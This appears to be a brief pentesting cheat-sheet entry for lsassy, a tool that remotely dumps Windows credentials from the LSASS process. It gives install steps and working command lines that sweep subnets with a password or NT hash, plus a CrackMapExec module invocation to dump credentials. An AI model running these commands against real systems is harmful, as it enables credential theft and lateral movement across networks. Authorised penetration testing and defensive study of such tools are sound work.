Lsassy

GitHub - Hackndo/lsassy: Extract credentials from lsass remotelyGitHub

Installation

$ git clone https://github.com/Hackndo/lsassy.git

$ python3 -m pip install lsassy

$ python3 setup.py install

Basic Usage

$ lsassy [-d domain] -u user -p password targets

$ lsassy [-d domain] -u user -H [LM:]NT targets

$ lsassy -d adsec.local -u pixis -p p4ssw0rd 192.168.1.0/24

$ lsassy -d adsec.local -u pixis -p p4ssw0rd 192.168.1.1-10

$ lsassy -d adsec.local -u pixis -p p4ssw0rd hosts.txt

$ lsassy -d adsec.local -u pixis -p p4ssw0rd 192.168.1.1-192.168.1.10

LSASSY provides some additional, more advanced, tools. The github has a good write-up of these tools. This include Pass-the-Has, Cleartext Credentials, Kerberos and so on.

CME add-on to dump creds

$ cme smb 192.168.255.131 -u administrator -p pass -M lsassy